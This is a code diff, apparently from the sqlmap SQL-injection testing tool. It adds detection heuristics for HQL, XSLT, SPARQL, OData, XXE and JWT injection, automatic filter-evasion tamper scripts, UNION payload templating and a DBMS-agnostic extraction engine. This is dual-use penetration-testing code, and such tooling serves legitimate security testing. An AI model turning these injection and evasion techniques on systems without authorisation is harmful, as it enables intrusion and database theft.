if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
|
||||
suggestion = conf.code = trueCode
|
||||
|
||||
@@ -722,7 +740,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
if len(kb.dbmsFilter or []) == 1:
|
||||
Backend.forceDbms(kb.dbmsFilter[0])
|
||||
elif not Backend.getIdentifiedDbms():
|
||||
if kb.heuristicDbms is None:
|
||||
heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms
|
||||
if heuristicDbms is None:
|
||||
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
|
||||
warnMsg = "using unescaped version of the test "
|
||||
warnMsg += "because of zero knowledge of the "
|
||||
@@ -730,7 +749,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
warnMsg += "explicitly set it with option '--dbms'"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
else:
|
||||
Backend.forceDbms(kb.heuristicDbms)
|
||||
Backend.forceDbms(heuristicDbms)
|
||||
|
||||
if unionExtended:
|
||||
infoMsg = "automatically extending ranges for UNION "
|
||||
@@ -802,12 +821,20 @@ def checkSqlInjection(place, parameter, value):
|
||||
injection.data[stype].comment = comment
|
||||
injection.data[stype].templatePayload = templatePayload
|
||||
injection.data[stype].matchRatio = kb.matchRatio
|
||||
injection.data[stype].trueLength = kb.trueLength
|
||||
injection.data[stype].trueCode = trueCode
|
||||
injection.data[stype].falseCode = falseCode
|
||||
|
||||
# reference bodies for inference.py's "resembles neither TRUE nor FALSE model"
|
||||
# anomaly guard (runtime-only; lets a transient same-HTTP-code junk response
|
||||
# trigger a validateChar re-check during boolean extraction)
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
kb.trueTemplate, kb.falseTemplate = truePage, falsePage
|
||||
|
||||
injection.conf.textOnly = conf.textOnly
|
||||
injection.conf.titles = conf.titles
|
||||
injection.conf.code = conf.code
|
||||
injection.conf.lengths = conf.lengths
|
||||
injection.conf.string = conf.string
|
||||
injection.conf.notString = conf.notString
|
||||
injection.conf.regexp = conf.regexp
|
||||
@@ -1048,10 +1075,40 @@ def checkFilteredChars(injection):
|
||||
# inference techniques depend on character '>'
|
||||
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
|
||||
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
|
||||
warnMsg = "it appears that the character '>' is "
|
||||
warnMsg += "filtered by the back-end server. You are strongly "
|
||||
warnMsg += "advised to rerun with the '--tamper=between'"
|
||||
logger.warning(warnMsg)
|
||||
# '>' is filtered - blind inference (bisection and the count/length integer retrievals
|
||||
# all rely on '>') would silently retrieve nothing. Cascade through the '>'-free
|
||||
# comparison rewrites and adopt the first that RE-VERIFIES working, so the run adapts in
|
||||
# place instead of forcing a manual rerun: 'between' (> -> NOT BETWEEN 0 AND) first,
|
||||
# then 'greatest' (GREATEST()-based) for when BETWEEN itself is filtered. Skipped when the
|
||||
# user chose their own '--tamper' (respect that choice).
|
||||
adapted = None
|
||||
|
||||
if not conf.tamper:
|
||||
from lib.utils.wafbypass import loadTamper
|
||||
|
||||
for name in ("between", "greatest", "sign"):
|
||||
function = loadTamper(name)
|
||||
if function is None or function in (kb.tamperFunctions or []):
|
||||
continue
|
||||
|
||||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
_ = randomInt()
|
||||
|
||||
if checkBooleanExpression("%d>%d" % (_ + 1, _)):
|
||||
adapted = name
|
||||
break
|
||||
else:
|
||||
kb.tamperFunctions.remove(function)
|
||||
|
||||
if adapted:
|
||||
infoMsg = "the character '>' appears to be filtered by the back-end server; "
|
||||
infoMsg += "sqlmap automatically applied the '%s' tamper script to adapt" % adapted
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "it appears that the character '>' is "
|
||||
warnMsg += "filtered by the back-end server. You are strongly "
|
||||
warnMsg += "advised to rerun with the '--tamper=between'"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
kb.injection = popValue()
|
||||
|
||||
@@ -1138,13 +1195,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
|
||||
|
||||
elif result:
|
||||
infoMsg += "be injectable"
|
||||
infoMsg += "be SQL injectable"
|
||||
if Backend.getErrorParsedDBMSes():
|
||||
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
|
||||
logger.info(infoMsg)
|
||||
|
||||
else:
|
||||
infoMsg += "not be injectable"
|
||||
infoMsg += "not be SQL injectable"
|
||||
logger.warning(infoMsg)
|
||||
|
||||
kb.heuristicMode = True
|
||||
@@ -1214,11 +1271,80 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.sparql and re.search(SPARQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.odata and re.search(ODATA_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
return kb.heuristicTest
|
||||
|
||||
def checkJWT():
|
||||
"""
|
||||
Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or
|
||||
parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key
|
||||
headers, missing expiry), hinting at '--jwt' for active confirmation and injection.
|
||||
"""
|
||||
|
||||
if kb.jwtChecked or conf.jwt:
|
||||
return
|
||||
|
||||
kb.jwtChecked = True
|
||||
|
||||
from lib.utils.jwt import auditJWT
|
||||
from lib.utils.jwt import findJWTs
|
||||
from lib.core.settings import JWT_COMMON_SECRETS
|
||||
|
||||
haystacks = list((conf.parameters or {}).values())
|
||||
haystacks += [value for _, value in (conf.httpHeaders or [])]
|
||||
|
||||
seen = set()
|
||||
for haystack in haystacks:
|
||||
for token in findJWTs(haystack):
|
||||
if token in seen:
|
||||
continue
|
||||
seen.add(token)
|
||||
|
||||
infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS):
|
||||
logger.info("JWT weakness (%s): %s" % (severity, summary))
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the URL parameter is dynamic. If it is
|
||||
@@ -1274,7 +1400,9 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
seqMatcher.set_seq1(firstPage)
|
||||
seqMatcher.set_seq2(secondPage)
|
||||
ratio = seqMatcher.quick_ratio()
|
||||
except MemoryError:
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input or, rarely, with interpreter-level
|
||||
# errors under heavy threading; degrade to "undetermined" instead of crashing
|
||||
ratio = None
|
||||
|
||||
if ratio is None:
|
||||
@@ -1289,6 +1417,27 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
count += 1
|
||||
|
||||
if count > conf.retries:
|
||||
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
|
||||
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
|
||||
# requests - base the comparison on that value-free structure instead. Dynamic text
|
||||
# (e.g. per-render result rows) then no longer masks an injection whose signal is
|
||||
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
|
||||
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
|
||||
# to '--text-only' as before.
|
||||
skeleton = extractStructuralTokens(firstPage)
|
||||
if skeleton and skeleton == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
warnMsg = "target URL content appears to be too dynamic. "
|
||||
warnMsg += "Switching to '--text-only' "
|
||||
logger.warning(warnMsg)
|
||||
@@ -1394,26 +1543,7 @@ def checkStability():
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
else:
|
||||
# Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
|
||||
# whether the page is structurally stable (identical tag/class/id skeleton across the two
|
||||
# requests) despite differing text. If so, base the comparison on that value-free structure
|
||||
# so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
|
||||
# the HTML counterpart of the structure-aware JSON comparison
|
||||
if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection "
|
||||
debugMsg += "support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
checkDynamicContent(firstPage, secondPage)
|
||||
checkDynamicContent(firstPage, secondPage)
|
||||
|
||||
return kb.pageStable
|
||||
|
||||
|
||||
@@ -16,6 +16,7 @@ from lib.controller.action import action
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkInternet
|
||||
from lib.controller.checks import checkJWT
|
||||
from lib.controller.checks import checkNullConnection
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkStability
|
||||
@@ -69,6 +70,7 @@ from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import ASP_NET_CONTROL_REGEX
|
||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import NONSQL_TECHNIQUES
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
|
||||
from lib.core.settings import HASHDB_STALE_DAYS
|
||||
@@ -529,8 +531,14 @@ def start():
|
||||
|
||||
checkWaf()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
|
||||
checkJWT()
|
||||
|
||||
if conf.mineParams and not any(conf.get(_) for _ in NONSQL_TECHNIQUES):
|
||||
from lib.utils.paraminer import mineParameters
|
||||
mineParameters()
|
||||
|
||||
if any(conf.get(_) for _ in NONSQL_TECHNIQUES) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (%s) findings; these are reported on the console only" % '/'.join("--%s" % _ for _ in NONSQL_TECHNIQUES))
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
@@ -557,13 +565,44 @@ def start():
|
||||
sstiScan()
|
||||
continue
|
||||
|
||||
if conf.xslt:
|
||||
from lib.techniques.xslt.inject import xsltScan
|
||||
xsltScan()
|
||||
continue
|
||||
|
||||
if conf.xxe:
|
||||
from lib.techniques.xxe.inject import xxeScan
|
||||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.hql:
|
||||
from lib.techniques.hql.inject import hqlScan
|
||||
hqlScan()
|
||||
continue
|
||||
|
||||
if conf.sparql:
|
||||
from lib.techniques.sparql.inject import sparqlScan
|
||||
sparqlScan()
|
||||
continue
|
||||
|
||||
if conf.odata:
|
||||
from lib.techniques.odata.inject import odataScan
|
||||
odataScan()
|
||||
continue
|
||||
|
||||
if conf.jwt:
|
||||
from lib.techniques.jwt.inject import jwtScan
|
||||
jwtScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
|
||||
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
|
||||
# UNION column-count detection relies on too (it compares pages) - so it must run when
|
||||
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
|
||||
@@ -10,9 +10,12 @@ from lib.core.common import getSafeExString
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.dicts import DBWIRE_MODULES
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.utils.dbwire import Connector as DbwireConnector
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import CACHE_ALIASES
|
||||
@@ -25,6 +28,7 @@ from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HANA_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
@@ -57,6 +61,7 @@ from plugins.dbms.extremedb import ExtremeDBMap
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.frontbase import FrontBaseMap
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.hana import HANAMap
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
@@ -82,6 +87,15 @@ def setHandler():
|
||||
management system.
|
||||
"""
|
||||
|
||||
if conf.esperanto:
|
||||
# force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and
|
||||
# let the boolean-oracle 'esperanto' handler drive enumeration.
|
||||
from extra.esperanto import buildHandler
|
||||
conf.dbmsHandler = buildHandler()
|
||||
conf.dbmsHandler._dbms = "Esperanto"
|
||||
logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)")
|
||||
return
|
||||
|
||||
items = [
|
||||
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
|
||||
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
|
||||
@@ -113,6 +127,7 @@ def setHandler():
|
||||
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
|
||||
(DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
|
||||
(DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
|
||||
(DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
@@ -155,7 +170,12 @@ def setHandler():
|
||||
try:
|
||||
conf.dbmsConnector.connect()
|
||||
except NameError:
|
||||
if exception:
|
||||
# neither a native driver nor SQLAlchemy is available: fall back to our dependency-free
|
||||
# pure-python 'dbwire' client if it covers this DBMS (so '-d' works out of the box)
|
||||
if dbms in DBWIRE_MODULES:
|
||||
conf.dbmsConnector = DbwireConnector(DBWIRE_MODULES[dbms])
|
||||
conf.dbmsConnector.connect()
|
||||
elif exception:
|
||||
raise exception
|
||||
else:
|
||||
msg = "support for direct connection to '%s' is not available. " % dbms
|
||||
|
||||
+47
-11
@@ -133,7 +133,7 @@ class Agent(object):
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||
origValue = re.split(r"['\">]", origValue)[-1]
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB):
|
||||
match = re.search(r"['\"]", origValue)
|
||||
quote = match.group(0) if match else '"'
|
||||
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
|
||||
@@ -206,7 +206,7 @@ class Agent(object):
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
|
||||
|
||||
if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||
@@ -508,10 +508,32 @@ class Agent(object):
|
||||
if field and Backend.getIdentifiedDbms():
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||
hexConvert = conf.hexConvert or kb.binaryField
|
||||
|
||||
# For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one:
|
||||
# text-casting binary first (e.g. CAST(<binary> AS NCHAR) on MySQL) NULLs non-text bytes, so HEX()
|
||||
# would encode the NULL placeholder and silently lose the value (e.g. binary-stored password
|
||||
# hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because
|
||||
# raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'),
|
||||
# which is NOT the hex of its string representation. Every DBMS hex function takes binary directly
|
||||
# EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too.
|
||||
hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL)
|
||||
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
|
||||
nulledCastedField = field
|
||||
if hexConvert:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
else:
|
||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
if hexRaw:
|
||||
nulledCastedField = self.hexConvertField(field)
|
||||
elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
|
||||
# NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
|
||||
nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
|
||||
elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
|
||||
# Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
|
||||
nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
|
||||
elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
nulledCastedField = rootQuery.cast.query % field
|
||||
|
||||
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
|
||||
@@ -521,9 +543,8 @@ class Agent(object):
|
||||
else:
|
||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||
if conf.hexConvert or kb.binaryField:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
if hexConvert and not hexRaw:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
|
||||
if suffix:
|
||||
nulledCastedField += suffix
|
||||
@@ -771,7 +792,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -958,12 +979,19 @@ class Agent(object):
|
||||
if not infoFile:
|
||||
query = _collate(query)
|
||||
|
||||
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
|
||||
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
|
||||
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
|
||||
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
|
||||
|
||||
for element in xrange(0, count):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
||||
unionQuery += conf.uValues.split(',')[element]
|
||||
elif template is not None:
|
||||
unionQuery += query if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += query
|
||||
else:
|
||||
@@ -985,7 +1013,9 @@ class Agent(object):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if element == position:
|
||||
if template is not None:
|
||||
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += _collate(multipleUnions)
|
||||
else:
|
||||
unionQuery += char
|
||||
@@ -1011,8 +1041,14 @@ class Agent(object):
|
||||
else:
|
||||
limitRegExp2 = None
|
||||
|
||||
# DBMSes whose paging is a simple appended "LIMIT ... OFFSET ..." (limitQuery '% (1, num)' group,
|
||||
# limitregexp 'query2' for a bare LIMIT, groupstart=2/stop=1): a user-supplied LIMIT must be parsed
|
||||
# AND stripped here, else limitQuery appends a SECOND LIMIT (e.g. '... LIMIT 3 LIMIT 1 OFFSET n' on
|
||||
# ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected.
|
||||
limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA)
|
||||
|
||||
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
@@ -1054,7 +1090,7 @@ class Agent(object):
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or equivalent, depending on the back-end DBMS) word
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
stopLimit += startLimit
|
||||
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
||||
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
||||
@@ -1108,7 +1144,7 @@ class Agent(object):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
|
||||
+10
-10
@@ -5,11 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import itertools
|
||||
import os
|
||||
import shutil
|
||||
@@ -86,7 +81,7 @@ class BigArray(list):
|
||||
>>> _[0] = [None]
|
||||
>>> _.index(0)
|
||||
20
|
||||
>>> import pickle; __ = pickle.loads(pickle.dumps(_))
|
||||
>>> import copy; __ = copy.deepcopy(_)
|
||||
>>> __.append(1)
|
||||
>>> len(_)
|
||||
100001
|
||||
@@ -158,9 +153,10 @@ class BigArray(list):
|
||||
self.chunks[-1] = self.cache.data
|
||||
self.cache.dirty = False
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
self.chunks[-1] = deserializeValue(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -207,11 +203,13 @@ class BigArray(list):
|
||||
self.close()
|
||||
|
||||
def _dump(self, chunk):
|
||||
from lib.core.convert import getBytes, serializeValue
|
||||
try:
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
|
||||
self.filenames.add(filename)
|
||||
